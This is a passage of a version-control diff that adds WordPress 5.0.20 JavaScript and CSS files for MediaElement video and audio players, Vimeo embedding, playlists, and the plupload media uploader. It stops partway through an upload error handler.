+mejs.Renderers.add(vimeoIframeRenderer);
+
+},{}]},{},[1]);
Index: /tags/5.0.20/src/wp-includes/js/mediaelement/renderers/vimeo.min.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/mediaelement/renderers/vimeo.min.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/mediaelement/renderers/vimeo.min.js	(revision 56912)
@@ -0,0 +1,12 @@
+/*!
+ * MediaElement.js
+ * http://www.mediaelementjs.com/
+ *
+ * Wrapper that mimics native HTML5 MediaElement (audio and video)
+ * using a variety of technologies (pure JavaScript, Flash, iframe)
+ *
+ * Copyright 2010-2017, John Dyer (http://j.hn/)
+ * License: MIT
+ *
+ */
+!function e(t,n,r){function i(o,s){if(!n[o]){if(!t[o]){var c="function"==typeof require&&require;if(!s&&c)return c(o,!0);if(a)return a(o,!0);var u=new Error("Cannot find module '"+o+"'");throw u.code="MODULE_NOT_FOUND",u}var l=n[o]={exports:{}};t[o][0].call(l.exports,function(e){var n=t[o][1][e];return i(n||e)},l,l.exports,e,t,n,r)}return n[o].exports}for(var a="function"==typeof require&&require,o=0;o<r.length;o++)i(r[o]);return i}({1:[function(e,t,n){"use strict";var r={promise:null,load:function(e){"undefined"!=typeof Vimeo?r._createPlayer(e):(r.promise=r.promise||mejs.Utils.loadScript("https://player.vimeo.com/api/player.js"),r.promise.then(function(){r._createPlayer(e)}))},_createPlayer:function(e){var t=new Vimeo.Player(e.iframe);window["__ready__"+e.id](t)},getVimeoId:function(e){return void 0===e||null===e?null:(e=e.split("?")[0],parseInt(e.substring(e.lastIndexOf("/")+1),10))}},i={name:"vimeo_iframe",options:{prefix:"vimeo_iframe"},canPlayType:function(e){return~["video/vimeo","video/x-vimeo"].indexOf(e.toLowerCase())},create:function(e,t,n){var i=[],a={},o=!0,s=1,c=s,u=0,l=0,d=!1,p=0,m=null,f="";a.options=t,a.id=e.id+"_"+t.prefix,a.mediaElement=e;for(var v=function(t,n){var r=mejs.Utils.createEvent("error",n);r.message=t.name+": "+t.message,e.dispatchEvent(r)},h=mejs.html5media.properties,y=0,g=h.length;y<g;y++)!function(t){var n=""+t.substring(0,1).toUpperCase()+t.substring(1);a["get"+n]=function(){if(null!==m){switch(t){case"currentTime":return u;case"duration":return p;case"volume":return s;case"muted":return 0===s;case"paused":return o;case"ended":return d;case"src":return m.getVideoUrl().then(function(e){f=e}),f;case"buffered":return{start:function(){return 0},end:function(){return l*p},length:1};case"readyState":return 4}return null}return null},a["set"+n]=function(n){if(null!==m)switch(t){case"src":var o="string"==typeof n?n:n[0].src,l=r.getVimeoId(o);m.loadVideo(l).then(function(){e.originalNode.autoplay&&m.play()}).catch(function(e){v(e,a)});break;case"currentTime":m.setCurrentTime(n).then(function(){u=n,setTimeout(function(){var t=mejs.Utils.createEvent("timeupdate",a);e.dispatchEvent(t)},50)}).catch(function(e){v(e,a)});break;case"volume":m.setVolume(n).then(function(){c=s=n,setTimeout(function(){var t=mejs.Utils.createEvent("volumechange",a);e.dispatchEvent(t)},50)}).catch(function(e){v(e,a)});break;case"loop":m.setLoop(n).catch(function(e){v(e,a)});break;case"muted":n?m.setVolume(0).then(function(){s=0,setTimeout(function(){var t=mejs.Utils.createEvent("volumechange",a);e.dispatchEvent(t)},50)}).catch(function(e){v(e,a)}):m.setVolume(c).then(function(){s=c,setTimeout(function(){var t=mejs.Utils.createEvent("volumechange",a);e.dispatchEvent(t)},50)}).catch(function(e){v(e,a)});break;case"readyState":var d=mejs.Utils.createEvent("canplay",a);e.dispatchEvent(d)}else i.push({type:"set",propName:t,value:n})}}(h[y]);for(var E=mejs.html5media.methods,U=0,j=E.length;U<j;U++)!function(e){a[e]=function(){if(null!==m)switch(e){case"play":return o=!1,m.play();case"pause":return o=!0,m.pause();case"load":return null}else i.push({type:"call",methodName:e})}}(E[U]);window["__ready__"+a.id]=function(t){if(e.vimeoPlayer=m=t,i.length)for(var n=0,r=i.length;n<r;n++){var c=i[n];if("set"===c.type){var f=c.propName,h=""+f.substring(0,1).toUpperCase()+f.substring(1);a["set"+h](c.value)}else"call"===c.type&&a[c.methodName]()}e.originalNode.muted&&(m.setVolume(0),s=0);for(var y=document.getElementById(a.id),g=void 0,E=0,U=(g=["mouseover","mouseout"]).length;E<U;E++)y.addEventListener(g[E],function(t){var n=mejs.Utils.createEvent(t.type,a);e.dispatchEvent(n)},!1);m.on("loaded",function(){m.getDuration().then(function(t){if((p=t)>0&&(l=p*t,e.originalNode.autoplay)){o=!1,d=!1;var n=mejs.Utils.createEvent("play",a);e.dispatchEvent(n)}}).catch(function(e){v(e,a)})}),m.on("progress",function(){m.getDuration().then(function(t){if((p=t)>0&&(l=p*t,e.originalNode.autoplay)){var n=mejs.Utils.createEvent("play",a);e.dispatchEvent(n);var r=mejs.Utils.createEvent("playing",a);e.dispatchEvent(r)}var i=mejs.Utils.createEvent("progress",a);e.dispatchEvent(i)}).catch(function(e){v(e,a)})}),m.on("timeupdate",function(){m.getCurrentTime().then(function(t){u=t;var n=mejs.Utils.createEvent("timeupdate",a);e.dispatchEvent(n)}).catch(function(e){v(e,a)})}),m.on("play",function(){o=!1,d=!1;var t=mejs.Utils.createEvent("play",a);e.dispatchEvent(t);var n=mejs.Utils.createEvent("playing",a);e.dispatchEvent(n)}),m.on("pause",function(){o=!0,d=!1;var t=mejs.Utils.createEvent("pause",a);e.dispatchEvent(t)}),m.on("ended",function(){o=!1,d=!0;var t=mejs.Utils.createEvent("ended",a);e.dispatchEvent(t)});for(var j=0,b=(g=["rendererready","loadedmetadata","loadeddata","canplay"]).length;j<b;j++){var w=mejs.Utils.createEvent(g[j],a);e.dispatchEvent(w)}};var b=e.originalNode.height,w=e.originalNode.width,N=document.createElement("iframe"),_="https://player.vimeo.com/video/"+r.getVimeoId(n[0].src),x=~n[0].src.indexOf("?")?"?"+n[0].src.slice(n[0].src.indexOf("?")+1):"";return x&&e.originalNode.autoplay&&-1===x.indexOf("autoplay")&&(x+="&autoplay=1"),x&&e.originalNode.loop&&-1===x.indexOf("loop")&&(x+="&loop=1"),N.setAttribute("id",a.id),N.setAttribute("width",w),N.setAttribute("height",b),N.setAttribute("frameBorder","0"),N.setAttribute("src",""+_+x),N.setAttribute("webkitallowfullscreen",""),N.setAttribute("mozallowfullscreen",""),N.setAttribute("allowfullscreen",""),e.originalNode.parentNode.insertBefore(N,e.originalNode),e.originalNode.style.display="none",r.load({iframe:N,id:a.id}),a.hide=function(){a.pause(),m&&(N.style.display="none")},a.setSize=function(e,t){N.setAttribute("width",e),N.setAttribute("height",t)},a.show=function(){m&&(N.style.display="")},a.destroy=function(){},a}};mejs.Utils.typeChecks.push(function(e){return/(\/\/player\.vimeo|vimeo\.com)/i.test(e)?"video/x-vimeo":null}),mejs.Renderers.add(i)},{}]},{},[1]);
Index: /tags/5.0.20/src/wp-includes/js/mediaelement/wp-mediaelement.css
===================================================================
--- /tags/5.0.20/src/wp-includes/js/mediaelement/wp-mediaelement.css	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/mediaelement/wp-mediaelement.css	(revision 56912)
@@ -0,0 +1,293 @@
+.mejs-container {
+	clear: both;
+	max-width: 100%;
+}
+
+.mejs-container * {
+	font-family: Helvetica, Arial;
+}
+
+.mejs-container,
+.mejs-embed,
+.mejs-embed body,
+.mejs-container .mejs-controls {
+	background: #222;
+}
+
+.mejs-time {
+	font-weight: normal;
+	word-wrap: normal;
+}
+
+.mejs-controls a.mejs-horizontal-volume-slider {
+	display: table;
+}
+
+.mejs-controls .mejs-time-rail .mejs-time-loaded,
+.mejs-controls .mejs-horizontal-volume-slider .mejs-horizontal-volume-current {
+	background: #fff;
+}
+
+.mejs-controls .mejs-time-rail .mejs-time-current {
+	background: #0073aa;
+}
+
+.mejs-controls .mejs-time-rail .mejs-time-total,
+.mejs-controls .mejs-horizontal-volume-slider .mejs-horizontal-volume-total {
+	background: rgba(255, 255, 255, .33);
+}
+
+.mejs-controls .mejs-time-rail span,
+.mejs-controls .mejs-horizontal-volume-slider .mejs-horizontal-volume-total,
+.mejs-controls .mejs-horizontal-volume-slider .mejs-horizontal-volume-current {
+	border-radius: 0;
+}
+
+.mejs-overlay-loading {
+	background: transparent;
+}
+
+/* Override theme styles that may conflict with controls. */
+.mejs-controls button:hover {
+	border: none;
+	-webkit-box-shadow: none;
+	box-shadow: none;
+}
+
+.me-cannotplay {
+	width: auto !important;
+}
+
+.media-embed-details .wp-audio-shortcode {
+	display: inline-block;
+	max-width: 400px;
+}
+
+.audio-details .embed-media-settings {
+	overflow: visible;
+}
+
+.media-embed-details .embed-media-settings .setting span {
+	max-width: 400px;
+	width: auto;
+}
+
+.media-embed-details .embed-media-settings .checkbox-setting span {
+	display: inline-block;
+}
+
+.media-embed-details .embed-media-settings {
+	padding-top: 0;
+	top: 28px;
+}
+
+.media-embed-details .instructions {
+	padding: 16px 0;
+	max-width: 600px;
+}
+
+.media-embed-details .setting p,
+.media-embed-details .setting .remove-setting {
+	color: #a00;
+	font-size: 10px;
+	text-transform: uppercase;
+}
+
+.media-embed-details .setting .remove-setting {
+	padding: 0;
+}
+
+.media-embed-details .setting a:hover {
+	color: #dc3232;
+}
+
+.media-embed-details .embed-media-settings .checkbox-setting {
+	float: none;
+	margin: 0 0 10px;
+}
+
+.wp-video {
+	max-width: 100%;
+	height: auto;
+}
+
+.wp_attachment_holder .wp-video,
+.wp_attachment_holder .wp-audio-shortcode {
+	margin-top: 18px;
+}
+
+video.wp-video-shortcode,
+.wp-video-shortcode video {
+	max-width: 100%;
+	display: inline-block;
+}
+
+.video-details .wp-video-holder {
+	width: 100%;
+	max-width: 640px;
+}
+
+.wp-playlist {
+	border: 1px solid #ccc;
+	padding: 10px;
+	margin: 12px 0 18px;
+	font-size: 14px;
+	line-height: 1.5;
+}
+
+.wp-admin .wp-playlist {
+	margin: 0 0 18px;
+}
+
+.wp-playlist video {
+	display: inline-block;
+	max-width: 100%;
+}
+
+.wp-playlist audio {
+	display: none;
+	max-width: 100%;
+	width: 400px;
+}
+
+.wp-playlist .mejs-container {
+	margin: 0;
+	max-width: 100%;
+}
+
+.wp-playlist .mejs-controls .mejs-button button {
+	outline: 0;
+}
+
+.wp-playlist-light {
+	background: #fff;
+	color: #000;
+}
+
+.wp-playlist-dark {
+	color: #fff;
+	background: #000;
+}
+
+.wp-playlist-caption {
+	display: block;
+	max-width: 88%;
+	overflow: hidden;
+	text-overflow: ellipsis;
+	white-space: nowrap;
+	font-size: 14px;
+	line-height: 1.5;
+}
+
+.wp-playlist-item .wp-playlist-caption {
+	text-decoration: none;
+	color: #000;
+	max-width: -webkit-calc(100% - 40px);
+	max-width: calc(100% - 40px);
+}
+
+.wp-playlist-item-meta {
+	display: block;
+	font-size: 14px;
+	line-height: 1.5;
+}
+
+.wp-playlist-item-title {
+	font-size: 14px;
+	line-height: 1.5;
+}
+
+.wp-playlist-item-album {
+	font-style: italic;
+	overflow: hidden;
+	text-overflow: ellipsis;
+	white-space: nowrap;
+}
+
+.wp-playlist-item-artist {
+	font-size: 12px;
+	text-transform: uppercase;
+}
+
+.wp-playlist-item-length {
+	position: absolute;
+	right: 3px;
+	top: 0;
+	font-size: 14px;
+	line-height: 1.5;
+}
+
+.rtl .wp-playlist-item-length {
+	left: 3px;
+	right: auto;
+}
+
+.wp-playlist-tracks {
+	margin-top: 10px;
+}
+
+.wp-playlist-item {
+	position: relative;
+	cursor: pointer;
+	padding: 0 3px;
+	border-bottom: 1px solid #ccc;
+}
+
+.wp-playlist-item:last-child {
+	border-bottom: 0;
+}
+
+.wp-playlist-light .wp-playlist-caption {
+	color: #333;
+}
+
+.wp-playlist-dark .wp-playlist-caption {
+	color: #ddd;
+}
+
+.wp-playlist-playing {
+	font-weight: bold;
+	background: #f7f7f7;
+}
+
+.wp-playlist-light .wp-playlist-playing {
+	background: #fff;
+	color: #000;
+}
+
+.wp-playlist-dark .wp-playlist-playing {
+	background: #000;
+	color: #fff;
+}
+
+.wp-playlist-current-item {
+	overflow: hidden;
+	margin-bottom: 10px;
+	height: 60px;
+}
+
+.wp-playlist .wp-playlist-current-item img {
+	float: left;
+	max-width: 60px;
+	height: auto;
+	margin-right: 10px;
+	padding: 0;
+	border: 0;
+}
+
+.rtl .wp-playlist .wp-playlist-current-item img {
+	float: right;
+	margin-left: 10px;
+	margin-right: 0;
+}
+
+.wp-playlist-current-item .wp-playlist-item-title,
+.wp-playlist-current-item .wp-playlist-item-artist {
+	overflow: hidden;
+	text-overflow: ellipsis;
+	white-space: nowrap;
+}
+
+.wp-audio-playlist .me-cannotplay span {
+	padding: 5px 15px;
+}
Index: /tags/5.0.20/src/wp-includes/js/mediaelement/wp-mediaelement.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/mediaelement/wp-mediaelement.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/mediaelement/wp-mediaelement.js	(revision 56912)
@@ -0,0 +1,82 @@
+/* global _wpmejsSettings, mejsL10n */
+(function( window, $ ) {
+
+	window.wp = window.wp || {};
+
+	function wpMediaElement() {
+		var settings = {};
+
+		/**
+		 * Initialize media elements.
+		 *
+		 * Ensures media elements that have already been initialized won't be
+		 * processed again.
+		 *
+		 * @since 4.4.0
+		 *
+		 * @returns {void}
+		 */
+		function initialize() {
+			if ( typeof _wpmejsSettings !== 'undefined' ) {
+				settings = $.extend( true, {}, _wpmejsSettings );
+			}
+			settings.classPrefix = 'mejs-';
+			settings.success = settings.success || function ( mejs ) {
+				var autoplay, loop;
+
+				if ( mejs.rendererName && -1 !== mejs.rendererName.indexOf( 'flash' ) ) {
+					autoplay = mejs.attributes.autoplay && 'false' !== mejs.attributes.autoplay;
+					loop = mejs.attributes.loop && 'false' !== mejs.attributes.loop;
+
+					if ( autoplay ) {
+						mejs.addEventListener( 'canplay', function() {
+							mejs.play();
+						}, false );
+					}
+
+					if ( loop ) {
+						mejs.addEventListener( 'ended', function() {
+							mejs.play();
+						}, false );
+					}
+				}
+			};
+
+			/**
+			 * Custom error handler.
+			 *
+			 * Sets up a custom error handler in case a video render fails, and provides a download
+			 * link as the fallback.
+			 *
+			 * @since 4.9.3
+			 *
+			 * @param {object} media The wrapper that mimics all the native events/properties/methods for all renderers.
+			 * @param {object} node  The original HTML video, audio, or iframe tag where the media was loaded.
+			 * @returns {string}
+			 */
+			settings.customError = function ( media, node ) {
+				// Make sure we only fall back to a download link for flash files.
+				if ( -1 !== media.rendererName.indexOf( 'flash' ) || -1 !== media.rendererName.indexOf( 'flv' ) ) {
+					return '<a href="' + node.src + '">' + mejsL10n.strings['mejs.download-video'] + '</a>';
+				}
+			};
+
+			// Only initialize new media elements.
+			$( '.wp-audio-shortcode, .wp-video-shortcode' )
+				.not( '.mejs-container' )
+				.filter(function () {
+					return ! $( this ).parent().hasClass( 'mejs-mediaelement' );
+				})
+				.mediaelementplayer( settings );
+		}
+
+		return {
+			initialize: initialize
+		};
+	}
+
+	window.wp.mediaelement = new wpMediaElement();
+
+	$( window.wp.mediaelement.initialize );
+
+})( window, jQuery );
Index: /tags/5.0.20/src/wp-includes/js/mediaelement/wp-playlist.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/mediaelement/wp-playlist.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/mediaelement/wp-playlist.js	(revision 56912)
@@ -0,0 +1,199 @@
+/* global _wpmejsSettings, MediaElementPlayer */
+
+(function ($, _, Backbone) {
+	'use strict';
+
+	/** @namespace wp */
+	window.wp = window.wp || {};
+
+	var WPPlaylistView = Backbone.View.extend({
+		initialize : function (options) {
+			this.index = 0;
+			this.settings = {};
+			this.data = options.metadata || $.parseJSON( this.$('script.wp-playlist-script').html() );
+			this.playerNode = this.$( this.data.type );
+
+			this.tracks = new Backbone.Collection( this.data.tracks );
+			this.current = this.tracks.first();
+
+			if ( 'audio' === this.data.type ) {
+				this.currentTemplate = wp.template( 'wp-playlist-current-item' );
+				this.currentNode = this.$( '.wp-playlist-current-item' );
+			}
+
+			this.renderCurrent();
+
+			if ( this.data.tracklist ) {
+				this.itemTemplate = wp.template( 'wp-playlist-item' );
+				this.playingClass = 'wp-playlist-playing';
+				this.renderTracks();
+			}
+
+			this.playerNode.attr( 'src', this.current.get( 'src' ) );
+
+			_.bindAll( this, 'bindPlayer', 'bindResetPlayer', 'setPlayer', 'ended', 'clickTrack' );
+
+			if ( ! _.isUndefined( window._wpmejsSettings ) ) {
+				this.settings = _.clone( _wpmejsSettings );
+			}
+			this.settings.success = this.bindPlayer;
+			this.setPlayer();
+		},
+
+		bindPlayer : function (mejs) {
+			this.mejs = mejs;
+			this.mejs.addEventListener( 'ended', this.ended );
+		},
+
+		bindResetPlayer : function (mejs) {
+			this.bindPlayer( mejs );
+			this.playCurrentSrc();
+		},
+
+		setPlayer: function (force) {
+			if ( this.player ) {
+				this.player.pause();
+				this.player.remove();
+				this.playerNode = this.$( this.data.type );
+			}
+
+			if (force) {
+				this.playerNode.attr( 'src', this.current.get( 'src' ) );
+				this.settings.success = this.bindResetPlayer;
+			}
+
+			/**
+			 * This is also our bridge to the outside world
+			 */
+			this.player = new MediaElementPlayer( this.playerNode.get(0), this.settings );
+		},
+
+		playCurrentSrc : function () {
+			this.renderCurrent();
+			this.mejs.setSrc( this.playerNode.attr( 'src' ) );
+			this.mejs.load();
+			this.mejs.play();
+		},
+
+		renderCurrent : function () {
+			var dimensions, defaultImage = 'wp-includes/images/media/video.png';
+			if ( 'video' === this.data.type ) {
+				if ( this.data.images && this.current.get( 'image' ) && -1 === this.current.get( 'image' ).src.indexOf( defaultImage ) ) {
+					this.playerNode.attr( 'poster', this.current.get( 'image' ).src );
+				}
+				dimensions = this.current.get( 'dimensions' ).resized;
+				this.playerNode.attr( dimensions );
+			} else {
+				if ( ! this.data.images ) {
+					this.current.set( 'image', false );
+				}
+				this.currentNode.html( this.currentTemplate( this.current.toJSON() ) );
+			}
+		},
+
+		renderTracks : function () {
+			var self = this, i = 1, tracklist = $( '<div class="wp-playlist-tracks"></div>' );
+			this.tracks.each(function (model) {
+				if ( ! self.data.images ) {
+					model.set( 'image', false );
+				}
+				model.set( 'artists', self.data.artists );
+				model.set( 'index', self.data.tracknumbers ? i : false );
+				tracklist.append( self.itemTemplate( model.toJSON() ) );
+				i += 1;
+			});
+			this.$el.append( tracklist );
+
+			this.$( '.wp-playlist-item' ).eq(0).addClass( this.playingClass );
+		},
+
+		events : {
+			'click .wp-playlist-item' : 'clickTrack',
+			'click .wp-playlist-next' : 'next',
+			'click .wp-playlist-prev' : 'prev'
+		},
+
+		clickTrack : function (e) {
+			e.preventDefault();
+
+			this.index = this.$( '.wp-playlist-item' ).index( e.currentTarget );
+			this.setCurrent();
+		},
+
+		ended : function () {
+			if ( this.index + 1 < this.tracks.length ) {
+				this.next();
+			} else {
+				this.index = 0;
+				this.setCurrent();
+			}
+		},
+
+		next : function () {
+			this.index = this.index + 1 >= this.tracks.length ? 0 : this.index + 1;
+			this.setCurrent();
+		},
+
+		prev : function () {
+			this.index = this.index - 1 < 0 ? this.tracks.length - 1 : this.index - 1;
+			this.setCurrent();
+		},
+
+		loadCurrent : function () {
+			var last = this.playerNode.attr( 'src' ) && this.playerNode.attr( 'src' ).split('.').pop(),
+				current = this.current.get( 'src' ).split('.').pop();
+
+			this.mejs && this.mejs.pause();
+
+			if ( last !== current ) {
+				this.setPlayer( true );
+			} else {
+				this.playerNode.attr( 'src', this.current.get( 'src' ) );
+				this.playCurrentSrc();
+			}
+		},
+
+		setCurrent : function () {
+			this.current = this.tracks.at( this.index );
+
+			if ( this.data.tracklist ) {
+				this.$( '.wp-playlist-item' )
+					.removeClass( this.playingClass )
+					.eq( this.index )
+						.addClass( this.playingClass );
+			}
+
+			this.loadCurrent();
+		}
+	});
+
+	/**
+	 * Initialize media playlists in the document.
+	 *
+	 * Only initializes new playlists not previously-initialized.
+	 *
+	 * @since 4.9.3
+	 * @returns {void}
+	 */
+	function initialize() {
+		$( '.wp-playlist:not(:has(.mejs-container))' ).each( function() {
+			new WPPlaylistView( { el: this } );
+		} );
+	}
+
+	/**
+	 * Expose the API publicly on window.wp.playlist.
+	 *
+	 * @namespace wp.playlist
+	 * @since 4.9.3
+	 * @type {object}
+	 */
+	window.wp.playlist = {
+		initialize: initialize
+	};
+
+	$( document ).ready( initialize );
+
+	window.WPPlaylistView = WPPlaylistView;
+
+}(jQuery, _, Backbone));
Index: /tags/5.0.20/src/wp-includes/js/plupload/handlers.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/plupload/handlers.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/plupload/handlers.js	(revision 56912)
@@ -0,0 +1,506 @@
+/* global plupload, pluploadL10n, ajaxurl, post_id, wpUploaderInit, deleteUserSetting, setUserSetting, getUserSetting, shortform */
+var topWin = window.dialogArguments || opener || parent || top, uploader, uploader_init;
+
+// progress and success handlers for media multi uploads
+function fileQueued(fileObj) {
+	// Get rid of unused form
+	jQuery('.media-blank').remove();
+
+	var items = jQuery('#media-items').children(), postid = post_id || 0;
+
+	// Collapse a single item
+	if ( items.length == 1 ) {
+		items.removeClass('open').find('.slidetoggle').slideUp(200);
+	}
+	// Create a progress bar containing the filename
+	jQuery('<div class="media-item">')
+		.attr( 'id', 'media-item-' + fileObj.id )
+		.addClass('child-of-' + postid)
+		.append('<div class="progress"><div class="percent">0%</div><div class="bar"></div></div>',
+			jQuery('<div class="filename original">').text( ' ' + fileObj.name ))
+		.appendTo( jQuery('#media-items' ) );
+
+	// Disable submit
+	jQuery('#insert-gallery').prop('disabled', true);
+}
+
+function uploadStart() {
+	try {
+		if ( typeof topWin.tb_remove != 'undefined' )
+			topWin.jQuery('#TB_overlay').unbind('click', topWin.tb_remove);
+	} catch(e){}
+
+	return true;
+}
+
+function uploadProgress(up, file) {
+	var item = jQuery('#media-item-' + file.id);
+
+	jQuery('.bar', item).width( (200 * file.loaded) / file.size );
+	jQuery('.percent', item).html( file.percent + '%' );
+}
+
+// check to see if a large file failed to upload
+function fileUploading( up, file ) {
+	var hundredmb = 100 * 1024 * 1024,
+		max = parseInt( up.settings.max_file_size, 10 );
+
+	if ( max > hundredmb && file.size > hundredmb ) {
+		setTimeout( function() {
+			if ( file.status < 3 && file.loaded === 0 ) { // not uploading
+				wpFileError( file, pluploadL10n.big_upload_failed.replace( '%1$s', '<a class="uploader-html" href="#">' ).replace( '%2$s', '</a>' ) );
+				up.stop(); // stops the whole queue
+				up.removeFile( file );
+				up.start(); // restart the queue
+			}
+		}, 10000 ); // wait for 10 sec. for the file to start uploading
+	}
+}
+
+function updateMediaForm() {
+	var items = jQuery('#media-items').children();
+
+	// Just one file, no need for collapsible part
+	if ( items.length == 1 ) {
+		items.addClass('open').find('.slidetoggle').show();
+		jQuery('.insert-gallery').hide();
+	} else if ( items.length > 1 ) {
+		items.removeClass('open');
+		// Only show Gallery/Playlist buttons when there are at least two files.
+		jQuery('.insert-gallery').show();
+	}
+
+	// Only show Save buttons when there is at least one file.
+	if ( items.not('.media-blank').length > 0 )
+		jQuery('.savebutton').show();
+	else
+		jQuery('.savebutton').hide();
+}
+
+function uploadSuccess(fileObj, serverData) {
+	var item = jQuery('#media-item-' + fileObj.id);
+
+	// on success serverData should be numeric, fix bug in html4 runtime returning the serverData wrapped in a <pre> tag
+	serverData = serverData.replace(/^<pre>(\d+)<\/pre>$/, '$1');
+
+	// if async-upload returned an error message, place it in the media item div and return
+	if ( serverData.match(/media-upload-error|error-div/) ) {
+		item.html(serverData);
+		return;
+	} else {
+		jQuery('.percent', item).html( pluploadL10n.crunching );
+	}
+
+	prepareMediaItem(fileObj, serverData);
+	updateMediaForm();
+
+	// Increment the counter.
+	if ( post_id && item.hasClass('child-of-' + post_id) )
+		jQuery('#attachments-count').text(1 * jQuery('#attachments-count').text() + 1);
+}
+
+function setResize( arg ) {
+	if ( arg ) {
+		if ( window.resize_width && window.resize_height ) {
+			uploader.settings.resize = {
+				enabled: true,
+				width: window.resize_width,
+				height: window.resize_height,
+				quality: 100
+			};
+		} else {
+			uploader.settings.multipart_params.image_resize = true;
+		}
+	} else {
+		delete( uploader.settings.multipart_params.image_resize );
+	}
+}
+
+function prepareMediaItem(fileObj, serverData) {
+	var f = ( typeof shortform == 'undefined' ) ? 1 : 2, item = jQuery('#media-item-' + fileObj.id);
+	if ( f == 2 && shortform > 2 )
+		f = shortform;
+
+	try {
+		if ( typeof topWin.tb_remove != 'undefined' )
+			topWin.jQuery('#TB_overlay').click(topWin.tb_remove);
+	} catch(e){}
+
+	if ( isNaN(serverData) || !serverData ) { // Old style: Append the HTML returned by the server -- thumbnail and form inputs
+		item.append(serverData);
+		prepareMediaItemInit(fileObj);
+	} else { // New style: server data is just the attachment ID, fetch the thumbnail and form html from the server
+		item.load('async-upload.php', {attachment_id:serverData, fetch:f}, function(){prepareMediaItemInit(fileObj);updateMediaForm();});
+	}
+}
+
+function prepareMediaItemInit(fileObj) {
+	var item = jQuery('#media-item-' + fileObj.id);
+	// Clone the thumbnail as a "pinkynail" -- a tiny image to the left of the filename
+	jQuery('.thumbnail', item).clone().attr('class', 'pinkynail toggle').prependTo(item);
+
+	// Replace the original filename with the new (unique) one assigned during upload
+	jQuery('.filename.original', item).replaceWith( jQuery('.filename.new', item) );
+
+	// Bind AJAX to the new Delete button
+	jQuery('a.delete', item).click(function(){
+		// Tell the server to delete it. TODO: handle exceptions
+		jQuery.ajax({
+			url: ajaxurl,
+			type: 'post',
+			success: deleteSuccess,
+			error: deleteError,
+			id: fileObj.id,
+			data: {
+				id : this.id.replace(/[^0-9]/g, ''),
+				action : 'trash-post',
+				_ajax_nonce : this.href.replace(/^.*wpnonce=/,'')
+			}
+		});
+		return false;
+	});
+
+	// Bind AJAX to the new Undo button
+	jQuery('a.undo', item).click(function(){
+		// Tell the server to untrash it. TODO: handle exceptions
+		jQuery.ajax({
+			url: ajaxurl,
+			type: 'post',
+			id: fileObj.id,
+			data: {
+				id : this.id.replace(/[^0-9]/g,''),
+				action: 'untrash-post',
+				_ajax_nonce: this.href.replace(/^.*wpnonce=/,'')
+			},
+			success: function( ){
+				var type,
+					item = jQuery('#media-item-' + fileObj.id);
+
+				if ( type = jQuery('#type-of-' + fileObj.id).val() )
+					jQuery('#' + type + '-counter').text(jQuery('#' + type + '-counter').text()-0+1);
+
+				if ( post_id && item.hasClass('child-of-'+post_id) )
+					jQuery('#attachments-count').text(jQuery('#attachments-count').text()-0+1);
+
+				jQuery('.filename .trashnotice', item).remove();
+				jQuery('.filename .title', item).css('font-weight','normal');
+				jQuery('a.undo', item).addClass('hidden');
+				jQuery('.menu_order_input', item).show();
+				item.css( {backgroundColor:'#ceb'} ).animate( {backgroundColor: '#fff'}, { queue: false, duration: 500, complete: function(){ jQuery(this).css({backgroundColor:''}); } }).removeClass('undo');
+			}
+		});
+		return false;
+	});
+
+	// Open this item if it says to start open (e.g. to display an error)
+	jQuery('#media-item-' + fileObj.id + '.startopen').removeClass('startopen').addClass('open').find('slidetoggle').fadeIn();
+}
+
+// generic error message
+function wpQueueError(message) {
+	jQuery('#media-upload-error').show().html( '<div class="error"><p>' + message + '</p></div>' );
+}
+
+// file-specific error messages
+function wpFileError(fileObj, message) {
+	itemAjaxError(fileObj.id, message);
+}
+
+function itemAjaxError(id, message) {
+	var item = jQuery('#media-item-' + id), filename = item.find('.filename').text(), last_err = item.data('last-err');
+
+	if ( last_err == id ) // prevent firing an error for the same file twice
+		return;
+
+	item.html('<div class="error-div">' +
+				'<a class="dismiss" href="#">' + pluploadL10n.dismiss + '</a>' +
+				'<strong>' + pluploadL10n.error_uploading.replace('%s', jQuery.trim(filename)) + '</strong> ' +
+				message +
+				'</div>').data('last-err', id);
+}
+
+function deleteSuccess(data) {
+	var type, id, item;
+	if ( data == '-1' )
+		return itemAjaxError(this.id, 'You do not have permission. Has your session expired?');
+
+	if ( data == '0' )
+		return itemAjaxError(this.id, 'Could not be deleted. Has it been deleted already?');
+
+	id = this.id;
+	item = jQuery('#media-item-' + id);
+
+	// Decrement the counters.
+	if ( type = jQuery('#type-of-' + id).val() )
+		jQuery('#' + type + '-counter').text( jQuery('#' + type + '-counter').text() - 1 );
+
+	if ( post_id && item.hasClass('child-of-'+post_id) )
+		jQuery('#attachments-count').text( jQuery('#attachments-count').text() - 1 );
+
+	if ( jQuery('form.type-form #media-items').children().length == 1 && jQuery('.hidden', '#media-items').length > 0 ) {
+		jQuery('.toggle').toggle();
+		jQuery('.slidetoggle').slideUp(200).siblings().removeClass('hidden');
+	}
+
+	// Vanish it.
+	jQuery('.toggle', item).toggle();
+	jQuery('.slidetoggle', item).slideUp(200).siblings().removeClass('hidden');
+	item.css( {backgroundColor:'#faa'} ).animate( {backgroundColor:'#f4f4f4'}, {queue:false, duration:500} ).addClass('undo');
+
+	jQuery('.filename:empty', item).remove();
+	jQuery('.filename .title', item).css('font-weight','bold');
+	jQuery('.filename', item).append('<span class="trashnotice"> ' + pluploadL10n.deleted + ' </span>').siblings('a.toggle').hide();
+	jQuery('.filename', item).append( jQuery('a.undo', item).removeClass('hidden') );
+	jQuery('.menu_order_input', item).hide();
+
+	return;
+}
+
+function deleteError() {
+	// TODO
+}
+
+function uploadComplete() {
+	jQuery('#insert-gallery').prop('disabled', false);
+}
+
+function switchUploader(s) {
+	if ( s ) {
+		deleteUserSetting('uploader');
+		jQuery('.media-upload-form').removeClass('html-uploader');
+
+		if ( typeof(uploader) == 'object' )
+			uploader.refresh();
+	} else {
+		setUserSetting('uploader', '1'); // 1 == html uploader
+		jQuery('.media-upload-form').addClass('html-uploader');
+	}
+}
+
+function uploadError(fileObj, errorCode, message, uploader) {
+	var hundredmb = 100 * 1024 * 1024, max;
